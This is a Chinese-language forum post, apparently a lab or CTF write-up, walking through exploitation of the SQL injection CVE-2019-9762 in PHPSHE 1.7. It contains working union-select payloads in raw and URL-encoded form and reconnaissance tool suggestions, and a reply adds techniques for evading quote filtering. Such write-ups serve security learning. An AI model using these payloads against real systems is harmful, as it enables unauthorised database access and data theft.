进阶SQL注入靶场 - CVE-2019-9762,包含flag发现过程

sf171727411   ·   发表于 2023-01-22 19:19:58   ·   学习杂记

进阶SQL注入靶场 - CVE-2019-9762

解题思路

网上找到了POC ,该漏洞系代码审计发现,详细解释见网上POC,该通杀漏洞主要存在于PHPSHE 1.7

自己的研究思路

  • 网上的POC只说了个大概,并不能够完全还原一个入门白帽子的测试历程,接下去我将以个人角度来总结一下整个靶场的解题过程

信息收集

  • 根据靶场提示在网上寻找POC“CVE-2019-9762”
  • 进入靶场,注册账户
  • 由于靶场有提示,所以我们直接去查了POC,如果没有提示怎么办?那么我会
    • 在线指纹扫描
    • xray扫描
    • dirseach跑敏感目录
    • oneforall或者layer子域名挖掘机找包含admin这类的可能是后台的子域名
    • 在网站上寻找功能点进行万能密码等初步测试

根据POC进行渗透测试

  • 网上的POC大致内容是一样的,但是,burp传参的内容有些许差别
  • 首先测试正常页面,会包含subject的内容,其中的Content-Length: 1356

  • 传参错误导致sql语句执行错误时的burp返回包内容如下,缺失了很多数据,可以比对出正确与错误的差别在哪里,其中的‌Content-Length: 1130

  • 用POC进行测试,将id=pay230122181253788,改成id=pay` where 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12#
    • 这里要写成where 1=2才会有回显,网上的POC显示是where 1=1大概是有点问题的
  • 由于传参方式时POST传参,所以需要进行URL编码,编码后的内容如下:id=pay`%20where%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12%23_
  • 这里发现1/3/4号位都有回显

    • 怎么测试到有12个字段的,网上没有解释,我想无非三种方式,第一种是反正能看源码了,本地搭建了CMS自己看的,第二种,就是通过order by 一直到12,根据回显内容的‌Content-Length的长度大小来判断的,第三种,就是select一直往后加数字试,试出来的
  • 根据回显位置,代码传入,把select的1或者3改成user()或者database()就能得到数据库的用户以及当前数据库的库名

获得flag

  • 到这一步,也就是获得了库名和用户,那怎么获得flag呢?
  • 我试了id=pay` where 1=2 union select 1,2,(select tablename from information_schema.tables where table_schema=’phpshe’ limit 0,1),4,5,6,7,8,9,10,11,12#,但是没有出数据,显示数据库语句执行错误
  • 回头看了一眼POC中漏洞的发现过程,我猜想大概率是魔术引号的缘故把引号给过滤掉了,所以数据库无法识别到table_schema=’phpshe’ 而导致语句出错,那么我改变思路,盲猜字段名和表明
  • 把语句改成id=pay` where 1=2 union select 1,2,(select flag from flag limit 0,1),4,5,6,7,8,9,10,11,12#_
  • URL编码成id=pay`%20where%20-1=-2%20union%20select%201,2,(select%20flag%20from%20flag%20limit%200%2C1),4,5,6,7,8,9,10,11,12%23_
  • 获得flag:flag{SQL-CMS}
  • 如果猜不出怎么办?字段名flag几乎肯定不会变的,那么表名可以放burp爆破,甚至字段名都可以一起爆破。

打赏我,让我更有动力~

1 条回复   |  直到 2023-2-18 | 786 次浏览

学kali的小白
发表于 2023-2-18

获取flag那里,我觉得可以尝试先去用table_schema=database() 去获取表名,不需要用到引号,获取字段的时候可以尝试把table_name=[表名] 这里的表名用16进制转换一下也是可以不用到引号的

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.